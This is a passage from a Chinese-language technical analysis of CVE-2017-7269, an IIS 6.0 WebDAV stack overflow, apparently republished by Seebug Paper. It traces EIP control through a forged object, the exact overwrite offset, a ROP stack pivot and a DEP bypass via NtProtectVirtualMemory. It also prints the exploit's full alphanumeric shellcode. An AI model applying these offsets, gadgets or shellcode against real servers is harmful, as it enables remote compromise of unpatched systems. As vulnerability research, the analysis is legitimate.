68031310 52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43 RiSjWQN8HYUcqIdC
68031320 72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50 rdh4XGyqk3UkHmOP
68031330 46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34 Fzq4ToCtVYooAsW4
0:006> db
68031340 68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36 harzE7IMNWHT8Lz6
68031350 72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61 r5fbCnmHH5waZMta
68031360 33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63 3AeCrRimq6dN9nSc
68031370 64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a dkFQ0OoxSrPgSEcz
68031380 39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61 9qSOVD6oyswhVzJa
68031390 45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44 E9969l1Er4eSJXND
680313a0 44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54 Dz5lVZAbrn1fYY3T
680313b0 42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53 B1eXAYPq60wWWDaS
0:006> db
680313c0 c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76 ...hOn.hOn.hGBjv
680313d0 c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b ...hWBtOGY4RfKBK
680313e0 64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d dtox.`.h5QzrztGM
680313f0 59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68 YDWW...hv1on.$.h
68031400 60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68 `..h...........h
68031410 6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68 n..hnqpt4..h.).h
68031420 91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76 ...h19nfUIR0kTkv
68031430 4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79 Jray...h.n.h2why
3.4 控制 EIP
在函數 HrCheckIfHeader 返回后,后面會跳轉到 CParseLockTokenHeader::HrGetLockIdForPath 中去執行,而后者也會多次調用 CMethUtil::ScStoragePathFromUrl 這個函數。同樣,解析 URL 第一部分(http://localhost/aaaaaaa....)時完成棧溢出,此時會覆蓋到一個引用 CMethUtil 對象的局部變量;在解析 URL 第二部分(http://localhost/bbbbbbb....)時,因為 CMethUtil 已經偽造好,其成員 IEcb 實例同樣完成偽造,最后在 ScStripAndCheckHttpPrefix 中實現 EIP 的控制。
CPutRequest::Execute
├──HrCheckStateHeaders
│ └──HrCheckIfHeader
│ ├──CMethUtil::ScStoragePathFromUrl
│ └──CMethUtil::ScStoragePathFromUrl
│
└──FGetLockHandle
└──CParseLockTokenHeader::HrGetLockIdForPath
├──CMethUtil::ScStoragePathFromUrl
└──CMethUtil::ScStoragePathFromUrl
(1) FGetLockHandle 分析
函數 FGetLockHandle 里面構造了一個 CParseLockTokenHeader 對象,存儲于棧上的一個局部變量引用了這個對象 (這一點很重要),調用該對象的成員函數 HrGetLockIdForPath 進入下一階段。
int __stdcall FGetLockHandle(
struct CMethUtil *a1, wchar_t *Str,
unsigned __int32 a3, const unsigned __int16 *a4,
struct auto_ref_handle *a5)
{
signed int v5; // eax@1
int result; // eax@2
CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1
union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1
int v9; // [sp+50h] [bp-4h]@1
v7 = CParseLockTokenHeader(a1, a4);
v9 = 0;
v7->SetPaths(Str, 0);
v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);
v9 = -1;
if ( v5 >= 0 )
{
result = FGetLockHandleFromId(a1, v8, Str, a3, a5);
}
else
{
result = 0;
}
return result;
}
(2) HrGetLockIdForPath 分析
HrGetLockIdForPath 與 HrCheckIfHeader 有點類似,同樣存在兩個 CStackBuffer 變量。不同的是,v22.HighPart 指向父級函數 HrGetLockIdForPath 中引用 CParseLockTokenHeader 對象的局部變量,而且這里也會將其轉換為 CMethUtil 類型使用。
在解析 URL 第一部分(http://localhost/aaaaaaa....)時,通過棧溢出可以覆蓋引用 CParseLockTokenHeader 對象的局部變量,棧布局如下所示。
┌─────────────────────────┐
│ v7 (FGetLockHandle) │ CParseLockTokenHeader <────┐
├─────────────────────────┤ ↑o │
│ ...... │ │v │
├─────────────────────────┤ │e │
│ 2.heap_buffer│ ebp-14 │r │
├─────────────────────────┤ │f │
│ 2.fake_heap_size│ ebp-18 │l │
├─────────────────────────┤ │o │
│CStackBuffer2.buffer[260]│ ebp-11C │w │
├─────────────────────────┤ <-------- overwrite data │
│ 1.heap_buffer│ ebp-120 -> heap (url part1)│
├─────────────────────────┤ │
│ 1.fake_heap_size│ ebp-124 │
├─────────────────────────┤ │
│CStackBuffer1.buffer[260]│ ebp-228 │
├─────────────────────────┤ │
│ ...... │ │
├────────────┬────────────┤ │
│ v22.LowPart│v22.HighPart│ ebp-240 (LARGE_INTEGER) ──┘
└────────────┴────────────┘
棧上的數據分布如下所示:
0:006> dds ebp-18
03fafbb8 00000412 --------> CStackBuffer2.fake_heap_size
03fafbbc 03fafab4 --------> CStackBuffer2.buffer[260]
03fafbc0 00000168
03fafbc4 03fafc30
03fafbc8 67140bdd httpext!swscanf+0x137d --> ret addr
03fafbcc 00000002
03fafbd0 03fafc3c
03fafbd4 6711aba9 httpext!FGetLockHandle+0x40
03fafbd8 07874c2e
03fafbdc 80000000
03fafbe0 03fafc28
03fafbe4 00000000
03fafbe8 07872fc0 --------> CParseLockTokenHeader xx
03fafbec 0788c858
03fafbf0 0788c858
$$ CMethUtil
0:006> r ecx
ecx=07872fc0
$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990 5a3211a0 03fafbe8
$$ CStackBuffer2.buffer[260]
0:006> ?ebp-11C
Evaluate expression: 66779828 = 03fafab4
分析棧的布局可以知道,在復制 260+12*4=308 字節數據后,后續的 4 字節數據將覆蓋引用 CParseLockTokenHeader 對象的局部變量。需要注意的是,這里所說的 308 字節,是 URL 轉變成物理路徑后的前 308 字節。執行完 CMethUtil::ScStoragePathFromUrl 之后,680313c0 被填充到父級函數中引用 CParseLockTokenHeader 對象所在的局部變量。
$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990 5a3211a0 03fafbe8
0:006> dd 03fafbe8 L1
03fafbe8 680313c0
(3) ScStripAndCheckHttpPrefix 分析
在解析 URL 第二部分(http://localhost/bbbbbbb....)時,由于引用 CParseLockTokenHeader 對象的局部變量的值已經被修改,所以會使用偽造的對象,最終在函數 ScStripAndCheckHttpPrefix 中完成控制權的轉移。
CPutRequest::Execute
└──FGetLockHandle
└──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0
├──CMethUtil::ScStoragePathFromUrl ecx = 0x680313C0
│ └──ScStoragePathFromUrl ecx = [ecx+0x10]=0x680313C0
│ └──ScStripAndCheckHttpPrefix call [[ecx]+0x24]
└──CMethUtil::ScStoragePathFromUrl
接管控制權后,將開始執行 ROP 代碼。
0:006> dd 680313C0 L1
680313c0 680313c0
0:006> dd 680313C0+10 L1
680313d0 680313c0
0:006> dd 680313C0+24 L1
680313e4 68016082
0:006> u 68016082
rsaenh!_alloca_probe+0x42:
68016082 8be1 mov esp,ecx
68016084 8b08 mov ecx,dword ptr [eax]
68016086 8b4004 mov eax,dword ptr [eax+4]
68016089 50 push eax
6801608a c3 ret
6801608b cc int 3
6801608c cc int 3
6801608d cc int 3
3.5 繞過 DEP
在執行 ROP 代碼片段時,會跳轉到 KiFastSystemCall 去執行,這里將 EAX 寄存器的值設置為 0x8F,也就是 NtProtectVirtualMemory 的服務號,函數的參數通過棧進行傳遞。
0:006> dds esp
68031400 68031460 --> return address
68031404 7ffe0300 --> SharedUserData!SystemCallStub
68031408 ffffffff --> ProcessHandle, CURRENT_PROCESS
6803140c 680313c0 --> BaseAddress
68031410 6803046e --> RegionSize, 0x48
68031414 00000040 --> NewProtectWin32, PAGE_EXECUTE_READWRITE
68031418 68031434 --> OldProtect
TK 在 CanSecWest 2013 的演講《DEP/ASLR bypass without ROP/JIT》[4] 中提到:
SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8 0x7ffe0300 is always point to KiFastSystemCall Only work on x86 Windows
這里就是用了 0x7ffe0300 這個地址來定位 KiFastSystemCall(關于 KiFastSystemCall 的介紹,可以參考文檔 《KiFastCallEntry() 機制分析》 [5])。
3.6 Shellcode
樣本中的 Shellcode 如下:
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI
AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8
Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM
X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6
P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK
Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ
Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL
Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA
前面分析到函數 CRequest::LpwszGetHeader 會把其轉成 UNICODE 字符串,所以在內存中長這個樣子:
0:006> db 68031460
68031460 55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00 U.V.Y.A.4.4.4.4.
68031470 34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00 4.4.4.4.4.4.Q.A.
68031480 54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00 T.A.X.A.Z.A.P.A.
68031490 33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00 3.Q.A.D.A.Z.A.B.
680314a0 41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00 A.R.A.L.A.Y.A.I.
680314b0 41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00 A.Q.A.I.A.Q.A.P.
680314c0 41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00 A.5.A.A.A.P.A.Z.
680314d0 31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00 1.A.I.1.A.I.A.I.
這是所謂的 Alphanumeric Shellcode [6],可以以 ASCII 或者 UNICODE 字符串形式呈現 Shellcode。
3.7 The Last Question
最后一個問題是,在 Exploit 的兩個 URL 之間存在 (Not <locktoken:write1>) 這樣一個字符串,這個字符串的作用是什么呢?如果刪掉這個字符串,Exploit 就失效了,因為 HrCheckIfHeader 中解析 URL 的流程中斷了,而解析流程得以繼續的關鍵是 while 循環中嵌套的 for 循環對 IFITER::PszNextToken(2) 的調用。需要注意的是,這里傳遞的參數值是 2,而分析 IFITER::PszNextToken() 的反匯編代碼,可以知道這個字符串只要滿足一定的形式就可以了,如 (nOt <hahahahah+asdfgh>) 或者 (nOt [hahahahah+asdfgh]) 都是可以的。
int __thiscall IFITER::PszNextToken(int this, signed int a2)
{
//......
if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )
{
*(_DWORD *)(v2 + 4) += 6;
*(_DWORD *)(v2 + 28) = 1; // ----> 設置值
while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )
*(_DWORD *)(v2 + 4) += 2;
if ( !**(_WORD **)(v2 + 4) )
return 0;
}
v17 = **(_WORD **)(v2 + 4);
if ( v17 == '<' )
{
LABEL_64:
v23 = '>';
goto LABEL_65;
}
if ( v17 != '[' )
return 0;
v23 = ']';
LABEL_65:
v20 = *(_DWORD *)(v2 + 4);
v21 = wcschr((const wchar_t *)(v20 + 2), v23);
*(_DWORD *)(v2 + 4) = v21;
if ( !v21 )
return 0;
*(_DWORD *)(v2 + 4) = v21 + 1;
v22 = v2 + 8;
StringBuffer<char>::AppendAt(0,
2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);
StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8),
2, &gc_wszEmpty);
return *(_DWORD *)v22;
}
不過 not 字符串是不能替換的,因為這里會影響程序的執行流程。從上面的代碼可以看出,存在 not 字符串時會將對象偏移 28 (0x1C) 處的值設置為 1,這個值會決定父級函數中的一個跳轉(goto LABEL_27)是否執行。
// v22 -> ebp-44C
// ifilter -> ebp-468
// 0x468 + 0x1C = 0x44C
if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(
&v23, &String, *((const struct IEcb **)a1 + 4)) )
{
LABEL_26:
if ( v22 ) // ==1
goto LABEL_27;
goto LABEL_30;
}
4. 其他
要編寫一個真實環境中通用的 Exploit,還需要考慮許多其他因素,比如 IIS 設置的物理路徑等,文章 [7] 列舉了一些注意事項。
此外,文章 [8] 提到了一種基于 HTTP 回傳信息的方法。
當然,關于編寫通用 Exploit 所需要注意的細節,也可以參考 NSA 的 Explodingcan 的參數設置。

5. References
[1] https://github.com/edwardz246003/IIS_exploit
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269
[3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html
[4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
[5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html
[6] https://github.com/SkyLined/alpha3
[7] https://xianzhi.aliyun.com/forum/read/1458.html
[8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/282/